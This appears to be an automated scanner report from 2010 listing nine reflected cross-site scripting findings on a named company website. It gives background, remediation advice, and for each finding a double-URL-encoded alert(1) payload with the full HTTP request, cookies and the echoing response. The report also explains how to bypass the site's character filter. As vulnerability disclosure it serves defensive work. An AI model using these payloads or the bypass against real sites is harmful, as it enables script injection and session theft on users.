Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a7cb%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee36f93363a0 was submitted in the REST URL parameter 1. This input was echoed as 4a7cb"><script>alert(1)</script>e36f93363a0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /About-Us4a7cb%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee36f93363a0 HTTP/1.1 Host: www.bluevar.com Proxy-Connection: keep-alive Referer: http://www.bluevar.com/?gclid=CNiatISGu6UCFcNe7AodmEI9bA Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ID=1EA0CD4FE80FEB555D43C3D41787C2BC420C2C7C03E9188AD9DDDFD8BABA2CE7C650BDC90FE79808DCCFC812959BE5FEC8CA894BDF0ED3CCC006FE8A; __utmz=103031763.1290659612.1.1.utmgclid=CNiatISGu6UCFcNe7AodmEI9bA|utmccn=(not%20set)|utmcmd=(not%20set); __utma=103031763.804483015.1290659612.1290659612.1290659612.1; __utmc=103031763; __utmb=103031763.1.10.1290659612
Response
HTTP/1.1 404 Not Found Date: Thu, 25 Nov 2010 04:31:42 GMT Server: Apache Set-Cookie: CFID=7923514;expires=Wed, 25-Nov-2009 04:32:01 GMT;path=/ Set-Cookie: CFTOKEN=d053aa6a9c1e702f%2D811EE113%2DB694%2D6807%2DBE61746242D33821;expires=Wed, 25-Nov-2009 04:32:01 GMT;path=/ Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 5506
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com: ...[SNIP]... <link rel="canonical" href="http://www.bluevar.com/About-Us4a7cb"><script>alert(1)</script>e36f93363a0"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8cdcc%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef5e990a7ef0 was submitted in the REST URL parameter 1. This input was echoed as 8cdcc"><script>alert(1)</script>f5e990a7ef0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Contact-Us8cdcc%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef5e990a7ef0 HTTP/1.1 Host: www.bluevar.com Proxy-Connection: keep-alive Referer: http://www.bluevar.com/Press-Room Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ID=1EA0CD4FE80FEB555D43C3D41787C2BC420C2C7C03E9188AD9DDDFD8BABA2CE7C650BDC90FE79808DCCFC812959BE5FEC8CA894BDF0ED3CCC006FE8A; __utmz=103031763.1290659612.1.1.utmgclid=CNiatISGu6UCFcNe7AodmEI9bA|utmccn=(not%20set)|utmcmd=(not%20set); __utma=103031763.804483015.1290659612.1290659612.1290659612.1; __utmc=103031763; __utmb=103031763.8.10.1290659612
Response
HTTP/1.1 404 Not Found Date: Thu, 25 Nov 2010 04:33:10 GMT Server: Apache Set-Cookie: CFID=7923514;expires=Wed, 25-Nov-2009 04:33:15 GMT;path=/ Set-Cookie: CFTOKEN=d053aa6a9c1e702f%2D811EE113%2DB694%2D6807%2DBE61746242D33821;expires=Wed, 25-Nov-2009 04:33:15 GMT;path=/ Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 5496
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com: ...[SNIP]... <link rel="canonical" href="http://www.bluevar.com/Contact-Us8cdcc"><script>alert(1)</script>f5e990a7ef0"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b704f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3b40b79a753 was submitted in the REST URL parameter 1. This input was echoed as b704f"><script>alert(1)</script>3b40b79a753 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Eventsb704f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3b40b79a753 HTTP/1.1 Host: www.bluevar.com Proxy-Connection: keep-alive Referer: http://www.bluevar.com/About-Us Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ID=1EA0CD4FE80FEB555D43C3D41787C2BC420C2C7C03E9188AD9DDDFD8BABA2CE7C650BDC90FE79808DCCFC812959BE5FEC8CA894BDF0ED3CCC006FE8A; __utmz=103031763.1290659612.1.1.utmgclid=CNiatISGu6UCFcNe7AodmEI9bA|utmccn=(not%20set)|utmcmd=(not%20set); __utma=103031763.804483015.1290659612.1290659612.1290659612.1; __utmc=103031763; __utmb=103031763.2.10.1290659612
Response
HTTP/1.1 404 Not Found Date: Thu, 25 Nov 2010 04:31:48 GMT Server: Apache Set-Cookie: CFID=7923514;expires=Wed, 25-Nov-2009 04:31:54 GMT;path=/ Set-Cookie: CFTOKEN=d053aa6a9c1e702f%2D811EE113%2DB694%2D6807%2DBE61746242D33821;expires=Wed, 25-Nov-2009 04:31:54 GMT;path=/ Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 5453
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com: ...[SNIP]... <link rel="canonical" href="http://www.bluevar.com/Eventsb704f"><script>alert(1)</script>3b40b79a753"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1463%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed29f0764300 was submitted in the REST URL parameter 1. This input was echoed as f1463"><script>alert(1)</script>d29f0764300 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Industry-Solutionsf1463%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed29f0764300 HTTP/1.1 Host: www.bluevar.com Proxy-Connection: keep-alive Referer: http://www.bluevar.com/What-We-Do Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ID=1EA0CD4FE80FEB555D43C3D41787C2BC420C2C7C03E9188AD9DDDFD8BABA2CE7C650BDC90FE79808DCCFC812959BE5FEC8CA894BDF0ED3CCC006FE8A; __utmz=103031763.1290659612.1.1.utmgclid=CNiatISGu6UCFcNe7AodmEI9bA|utmccn=(not%20set)|utmcmd=(not%20set); __utma=103031763.804483015.1290659612.1290659612.1290659612.1; __utmc=103031763; __utmb=103031763.4.10.1290659612
Response
HTTP/1.1 404 Not Found Date: Thu, 25 Nov 2010 04:32:19 GMT Server: Apache Set-Cookie: CFID=7923514;expires=Wed, 25-Nov-2009 04:32:28 GMT;path=/ Set-Cookie: CFTOKEN=d053aa6a9c1e702f%2D811EE113%2DB694%2D6807%2DBE61746242D33821;expires=Wed, 25-Nov-2009 04:32:28 GMT;path=/ Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 5708
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com: ...[SNIP]... <link rel="canonical" href="http://www.bluevar.com/Industry-Solutionsf1463"><script>alert(1)</script>d29f0764300"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2e57%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ecab1aed30e6 was submitted in the REST URL parameter 1. This input was echoed as e2e57"><script>alert(1)</script>cab1aed30e6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Partnerse2e57%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ecab1aed30e6 HTTP/1.1 Host: www.bluevar.com Proxy-Connection: keep-alive Referer: http://www.bluevar.com/Testimonials Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ID=1EA0CD4FE80FEB555D43C3D41787C2BC420C2C7C03E9188AD9DDDFD8BABA2CE7C650BDC90FE79808DCCFC812959BE5FEC8CA894BDF0ED3CCC006FE8A; __utmz=103031763.1290659612.1.1.utmgclid=CNiatISGu6UCFcNe7AodmEI9bA|utmccn=(not%20set)|utmcmd=(not%20set); __utma=103031763.804483015.1290659612.1290659612.1290659612.1; __utmc=103031763; __utmb=103031763.6.10.1290659612
Response
HTTP/1.1 404 Not Found Date: Thu, 25 Nov 2010 04:32:27 GMT Server: Apache Set-Cookie: CFID=7923514;expires=Wed, 25-Nov-2009 04:32:32 GMT;path=/ Set-Cookie: CFTOKEN=d053aa6a9c1e702f%2D811EE113%2DB694%2D6807%2DBE61746242D33821;expires=Wed, 25-Nov-2009 04:32:32 GMT;path=/ Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 5759
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com: ...[SNIP]... <link rel="canonical" href="http://www.bluevar.com/Partnerse2e57"><script>alert(1)</script>cab1aed30e6"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dcd87%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e60bca549837 was submitted in the REST URL parameter 1. This input was echoed as dcd87"><script>alert(1)</script>60bca549837 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Press-Roomdcd87%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e60bca549837 HTTP/1.1 Host: www.bluevar.com Proxy-Connection: keep-alive Referer: http://www.bluevar.com/Partners Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ID=1EA0CD4FE80FEB555D43C3D41787C2BC420C2C7C03E9188AD9DDDFD8BABA2CE7C650BDC90FE79808DCCFC812959BE5FEC8CA894BDF0ED3CCC006FE8A; __utmz=103031763.1290659612.1.1.utmgclid=CNiatISGu6UCFcNe7AodmEI9bA|utmccn=(not%20set)|utmcmd=(not%20set); __utma=103031763.804483015.1290659612.1290659612.1290659612.1; __utmc=103031763; __utmb=103031763.7.10.1290659612
Response
HTTP/1.1 404 Not Found Date: Thu, 25 Nov 2010 04:32:27 GMT Server: Apache Set-Cookie: CFID=7923514;expires=Wed, 25-Nov-2009 04:32:31 GMT;path=/ Set-Cookie: CFTOKEN=d053aa6a9c1e702f%2D811EE113%2DB694%2D6807%2DBE61746242D33821;expires=Wed, 25-Nov-2009 04:32:31 GMT;path=/ Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 5496
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com: ...[SNIP]... <link rel="canonical" href="http://www.bluevar.com/Press-Roomdcd87"><script>alert(1)</script>60bca549837"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9fda5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7662a4b9401 was submitted in the REST URL parameter 1. This input was echoed as 9fda5"><script>alert(1)</script>7662a4b9401 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Testimonials9fda5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7662a4b9401 HTTP/1.1 Host: www.bluevar.com Proxy-Connection: keep-alive Referer: http://www.bluevar.com/Industry-Solutions Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ID=1EA0CD4FE80FEB555D43C3D41787C2BC420C2C7C03E9188AD9DDDFD8BABA2CE7C650BDC90FE79808DCCFC812959BE5FEC8CA894BDF0ED3CCC006FE8A; __utmz=103031763.1290659612.1.1.utmgclid=CNiatISGu6UCFcNe7AodmEI9bA|utmccn=(not%20set)|utmcmd=(not%20set); __utma=103031763.804483015.1290659612.1290659612.1290659612.1; __utmc=103031763; __utmb=103031763.5.10.1290659612
Response
HTTP/1.1 404 Not Found Date: Thu, 25 Nov 2010 04:33:04 GMT Server: Apache Set-Cookie: CFID=7923514;expires=Wed, 25-Nov-2009 04:33:08 GMT;path=/ Set-Cookie: CFTOKEN=d053aa6a9c1e702f%2D811EE113%2DB694%2D6807%2DBE61746242D33821;expires=Wed, 25-Nov-2009 04:33:08 GMT;path=/ Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 5767
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com: ...[SNIP]... <link rel="canonical" href="http://www.bluevar.com/Testimonials9fda5"><script>alert(1)</script>7662a4b9401"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4aa66%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efb6122bbc52 was submitted in the REST URL parameter 1. This input was echoed as 4aa66"><script>alert(1)</script>fb6122bbc52 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /What-We-Do4aa66%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efb6122bbc52 HTTP/1.1 Host: www.bluevar.com Proxy-Connection: keep-alive Referer: http://www.bluevar.com/Events Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ID=1EA0CD4FE80FEB555D43C3D41787C2BC420C2C7C03E9188AD9DDDFD8BABA2CE7C650BDC90FE79808DCCFC812959BE5FEC8CA894BDF0ED3CCC006FE8A; __utmz=103031763.1290659612.1.1.utmgclid=CNiatISGu6UCFcNe7AodmEI9bA|utmccn=(not%20set)|utmcmd=(not%20set); __utma=103031763.804483015.1290659612.1290659612.1290659612.1; __utmc=103031763; __utmb=103031763.3.10.1290659612
Response
HTTP/1.1 404 Not Found Date: Thu, 25 Nov 2010 04:32:50 GMT Server: Apache Set-Cookie: CFID=7923514;expires=Wed, 25-Nov-2009 04:32:53 GMT;path=/ Set-Cookie: CFTOKEN=d053aa6a9c1e702f%2D811EE113%2DB694%2D6807%2DBE61746242D33821;expires=Wed, 25-Nov-2009 04:32:53 GMT;path=/ Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 5496
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com: ...[SNIP]... <link rel="canonical" href="http://www.bluevar.com/What-We-Do4aa66"><script>alert(1)</script>fb6122bbc52"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d03d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edacaf678c55 was submitted in the REST URL parameter 1. This input was echoed as 3d03d"><script>alert(1)</script>dacaf678c55 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /3d03d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edacaf678c55 HTTP/1.1 Host: www.bluevar.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ID=1EA0CD4FE80FEB555D43C3D41787C2BC420C2C7C03E9188AD9DDDFD8BABA2CE7C650BDC90FE79808DCCFC812959BE5FEC8CA894BDF0ED3CCC006FE8A; __utmz=103031763.1290659612.1.1.utmgclid=CNiatISGu6UCFcNe7AodmEI9bA|utmccn=(not%20set)|utmcmd=(not%20set); __utma=103031763.804483015.1290659612.1290659612.1290659612.1; __utmc=103031763; __utmb=103031763.1.10.1290659612
Response
HTTP/1.1 404 Not Found Date: Thu, 25 Nov 2010 04:28:28 GMT Server: Apache Set-Cookie: CFID=7923514;expires=Wed, 25-Nov-2009 04:28:28 GMT;path=/ Set-Cookie: CFTOKEN=d053aa6a9c1e702f%2D811EE113%2DB694%2D6807%2DBE61746242D33821;expires=Wed, 25-Nov-2009 04:28:28 GMT;path=/ Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 5647
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com: ...[SNIP]... <link rel="canonical" href="http://www.bluevar.com/3d03d"><script>alert(1)</script>dacaf678c55"/> ...[SNIP]...
Report generated by XSS.CX at Thu Nov 25 10:07:16 CST 2010.